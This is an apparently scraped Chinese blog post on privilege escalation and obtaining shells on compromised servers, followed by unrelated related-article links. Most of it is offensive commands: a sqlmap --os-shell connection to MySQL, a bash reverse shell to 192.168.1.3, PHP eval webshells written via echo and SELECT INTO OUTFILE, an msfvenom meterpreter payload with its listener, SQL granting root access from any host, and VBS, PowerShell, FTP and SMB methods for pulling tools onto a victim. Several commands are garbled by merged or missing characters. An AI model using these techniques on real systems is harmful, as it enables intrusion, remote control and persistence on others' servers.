windows提权

1.通过sqlmap连接mysql获取shell

(1)直接连接数据库

sqlmap.py -d “mysql://root:123456@127.0.0.1:3306/mysql”–os-shell

(2)通过选择32位或者64位操作系统,获取webshell,执行

bash -i >& /dev/tcp/192.168.1.3/80800>&1

(3)反弹到服务器192.168.1.3,在实际中192.168.1.3为外网独立IP。

(4)通过echo命令生成shell:

echo “?php@eval($_POST['chopper']);?” >/data/www/phpmyadmin/1.php

如果能够通过phpmyadmin管理数据库,则可以修改host为“%”并执行权限更新,下面命令可参考:

use mysql;

update userset host = ‘%’ where user = ‘root’;

FLUSHPRIVILEGES ;

注意:如果数据库中有多个host连接,修改时可能会导致数据库连接出问题。

2.通过msf反弹

(1)使用msfvenom生成msf反弹的php脚本木马,默认端口为4444:

msfvenom -p php/meterpreter/reverse_tcpLHOST=192.168.1.3 -f raw > test.php

(2)在独立IP或者反弹服务器上运行msf依次执行以下命令:

msfconsole

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set LHOST 192.168.1.3  //192.168.1.3为反弹监听服务器IP

show options

run 0 或者exploit

(3)上传并执行php文件

将test.php上传到192.168.1.2服务器上面,访问后即可获取msf反弹shell

http:// 192.168.1.2:8080/test.php

3.通过phpmyadmin管理界面查询生成webshll

select ‘<?php @eval($_POST[cmd]);?>’INTOOUTFILE ‘D:/work/WWW/antian365.php’

我们在做渗透测试的时候会经常遇到存在命令执行的Windows服务器,而且不能上传shell,唯一的入口就是命令执行,这种情况下,我们需要向服务器上传一个大一点的工具,如何实现,这就是本文章主要的内容。

利用http协议下载文件

利用vbs下载

将下面的代码保存为test.vbs

执行如下语句:

cscript test.vbs

利用powershell下载

将如下代码保存为test.ps1

$p = New-Object System.Net.WebClient$p.DownloadFile("http://domain/file" "C:\%homepath%\file")

执行.test.ps1

有的时候PowerShell的执行权限会被关闭,需要使用如下的语句打开。

powershell set-executionpolicy unrestricted

利用ftp协议下载文件

1 创建一个ftp服务器,或者使用公共的ftp服务器

2 将下面的代码保存为test.txt

ftp 127.0.0.1
username
password
get fileexit

3 执行下面的命令

ftp -s:test.txt

利用smb协议拷贝文件

1 在公网创建一个共享如:\111.111.111.111test$

2 命令行下执行net use \111.111.111.111test$ /u:test test

3 最后上传文件到共享,命令行下拷贝:copy \111.111.111.111test$test.exe c:\

利用echo直接写文件

使用nishang的powershell工具包对上传的文件进行处理,然后使用echo到文件中,最后再转为原始文件。

下载地址:https://github.com/samratashok/nishang

具体操作步骤:

1 将文件转为hex

PS > .\ExetoText.ps1 evil.exe evil.txt

2 将hex的值echo到文件中

3 将hex转为原始文件

PS > .\TexttoExe.ps1 evil.text evil.exe

总结

这几种方式的利用场景是在我们发现一个服务器存在命令执行,而且还是一台Windows,在不依赖其他工具的前提下,使用Windows自带的命令将我们需要的工具上传到服务器的姿势。以上的脚本文件都可以使用echo 的方式保存到服务器上,然后再利用这些姿势上传大一点的工具等文件。欢迎大家补充各种姿势。

获得shell的几种姿势的更多相关文章

  1. 两个文件去重的N种姿势

    最近利用shell帮公司优化挖掘关键词的流程,用shell替代了多个环节的操作,极大提高了工作效率. shell在文本处理上确有极大优势,比如多文本合并.去重等,但是最近遇到了一个难搞的问题,即两个大 ...

  2. 快速了解IOC的几种姿势

    一.首先我们了解IOC如何注入的几种姿势 构造函数注入(Constructor Injection) Ioc容器会智能的选择和调用合适的构造函数以创建依赖的对象.如果被选择的构造函数具有相应的参数,I ...

  3. Linux 下Shell 脚本几种基本命令替换区别

    Shell 脚本几种基本命令替换区别 前言:因为工作需要,需要编写 shell script .编写大量 shell script 时,累计了大量经验,也让自己开始迷糊几种函数输出调用的区别.后面和 ...

  4. 又拍云张聪:OpenResty 动态流控的几种姿势

    2019 年 1 月 12 日,由又拍云.OpenResty 中国社区主办的 OpenResty × Open Talk 全国巡回沙龙·深圳站圆满结束,又拍云首席架构师张聪在活动上做了< Ope ...

  5. 补习系列(7)-springboot 实现拦截的五种姿势

    目录 简介 姿势一.使用 Filter 接口 1. 注册 FilterRegistrationBean 2. @WebFilter 注解 姿势二.HanlderInterceptor 姿势三.@Exc ...

  6. python中执行shell的两种方法总结

    这篇文章主要介绍了python中执行shell的两种方法,有两种方法可以在Python中执行SHELL程序,方法一是使用Python的commands包,方法二则是使用subprocess包,这两个包 ...

  7. python打开文件的N种姿势

    # python打开文件的N种姿势 print('[1]使用open()函数+简单for循环') f1 = open('python.txt') for line in f1: print(line. ...

  8. [转]地图投影的N种姿势

    此处直接给出原文链接: 1.地图投影的N种姿势 2.GIS理论(墨卡托投影.地理坐标系.地面分辨率.地图比例尺.Bing Maps Tile System)

  9. 启动bash shell的三种方式下,检查的启动文件

    启动bash shell的三种方式 1.登录时当做默认登录shell 2.作为非登录shell的交互式shell 3.作为运行脚本的非交互shell 一.登录shell 登录Linux系统时,bash ...

随机推荐

  1. 教你使用Cocos Creator制作国旗头像生成器,附源码!

    关注「编程小王子」公众号回复[头像生成器]获得源码! 下面我重点介绍一下Cocos Creator H5头像生成的实现方法: 获取手机相册图片 在 Cocos Creator 中加载相册图片 Coco ...

  2. 项目三:ssm仓库管理系统

    声明:项目来源于网络,尊重原创,学习使用,仅在此记录 项目介绍 ssm仓库管理系统,功能模块:客户信息管理,供应商管理,货物管理,仓库管理,仓库管理员管理,仓库出入口管理,仓库库存记录管理,系统日志管 ...

  3. Jenkins 管道 工作流 自动化部署

    jenkins Jenkins是一个用Java编写的开源的持续集成工具.在与Oracle发生争执后,项目从Hudson项目复刻. Jenkins提供了软件开发的持续集成服务.它运行在Servlet容器 ...

  4. 基于STM32F429和HAL库的CAN收发例程

    1.CAN协议介绍 CAN 是 Controller Area Network 的缩写(以下称为 CAN),是 ISO 国际标准化的串行通信协议.在当前的汽车产业中,出于对安全性.舒适性.方便性.低公 ...

  5. Mybatis入门简版(补充)

    一.Mybatis 中$与#的区别 #相当于对数据 加上 双引号,$相当于直接显示数据 1. #将传入的数据都当成一个字符串,会对自动传入的数据加一个双引号.如:order by #user_id#, ...

  6. PHP stream_wrapper_register

    <?php /** * 引用:http://php.net/manual/en/function.stream-wrapper-register.php * 把变量当成文件读写的协议 * * C ...

  7. JS中的事件委托/事件代理详解

    起因: 1.这是前端面试的经典题型,要去找工作的小伙伴看看还是有帮助的: 2.其实我一直都没弄明白,写这个一是为了备忘,二是给其他的知其然不知其所以然的小伙伴们以参考: 概述: 那什么叫事件委托呢?它 ...

  8. Python开发【第六篇】循环语句

    while 语句 注意事项:1.要控制循环的真值表达式的值来防止死循环 ​ 2.通常用真值表达式内的循环变量来控制循环条件 ​ 3.通常在语句内部改变循环变量 ​ 4.只要是语句都可以互相嵌套 whi ...

  9. Vulnhub靶场渗透练习(二) Billu_b0x

    运行虚拟机直接上nmap扫描 获取靶场ip nmap 192.168.18.* 开放端口 TCP 22 SSH OpenSSH 5.9p1 TCP 80 HTTP Apache httpd 2.2.2 ...

  10. 提权案例(一)渗透某asp.net网站通过sql server数据库public 提权 思路分享

    先罗列出sql server 角色用户的权限 按照从最低级别角色(bulkadmin)到最高级别角色(sysadmin)的顺序进行描述:1.bulkadmin:这个角色可以运行BULK INSERT语 ...